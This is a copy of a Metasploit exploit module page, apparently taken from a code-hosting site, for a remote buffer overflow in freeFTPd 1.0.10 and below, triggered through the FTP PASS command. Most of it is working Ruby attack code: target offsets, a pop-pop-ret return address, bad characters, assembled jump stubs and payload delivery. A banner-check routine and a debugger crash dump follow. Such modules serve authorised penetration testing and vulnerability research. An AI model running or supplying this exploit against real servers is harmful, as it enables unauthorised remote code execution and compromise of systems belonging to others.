Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/freeftpd_pass.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info={})11super(update_info(info,12'Name' => "freeFTPd PASS Command Buffer Overflow",13'Description' => %q{14freeFTPd 1.0.10 and below contains an overflow condition that is triggered as15user-supplied input is not properly validated when handling a specially crafted16PASS command. This may allow a remote attacker to cause a buffer overflow,17resulting in a denial of service or allow the execution of arbitrary code.1819freeFTPd must have an account set to authorization anonymous user account.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Wireghoul', # Initial discovery, PoC25'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module26],27'References' =>28[29['OSVDB', '96517'],30['EDB', '27747'],31['BID', '61905']32],33'Payload' =>34{35'BadChars' => "\x00\x0a\x0d",36},37'Platform' => 'win',38'Arch' => ARCH_X86,39'Targets' =>40[41['freeFTPd 1.0.10 and below on Windows Desktop Version',42{43'Ret' => 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe]44'Offset' => 801,45}46],47],48'Privileged' => false,49'DisclosureDate' => '2013-08-20',50'DefaultTarget' => 0))5152register_options([53OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ], fallbacks: ['USERNAME']),5455])5657# We're triggering the bug via the PASS command, no point to have pass as configurable58# option.59deregister_options('FTPPASS')6061end6263def check6465connect66disconnect6768# All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"69# when banner grabbing.70if banner =~ /freeFTPd 1\.0/71return Exploit::CheckCode::Appears72else73return Exploit::CheckCode::Safe7475end76end7778def exploit7980connect81print_status("Trying target #{target.name} with user #{user()}...")8283off = target['Offset'] - 98485bof = payload.encoded86bof << rand_text(off - payload.encoded.length)87bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string88bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string89bof << rand_text(2)90bof << [target.ret].pack('V')9192send_user(datastore['FTPUSER'])93raw_send("PASS #{bof}\r\n")94disconnect9596end97end9899=begin100(c78.ea4): Access violation - code c0000005 (first chance)101First chance exceptions are reported before any exception handling.102This exception may be expected and handled.103eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18104eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0 nv up ei pl nz na pe nc105cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206106OLEAUT32!SysFreeString+0x55:10776c23e8d ff36 push dword ptr [esi] ds:0023:4141413d=????????108109FAULTING_IP:110OLEAUT32!SysFreeString+5511176c23e8d ff36 push dword ptr [esi]112113EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)114ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055)115ExceptionCode: c0000005 (Access violation)116ExceptionFlags: 00000000117NumberParameters: 2118Parameter[0]: 00000000119Parameter[1]: 4141413d120Attempt to read from address 4141413d121=end122123124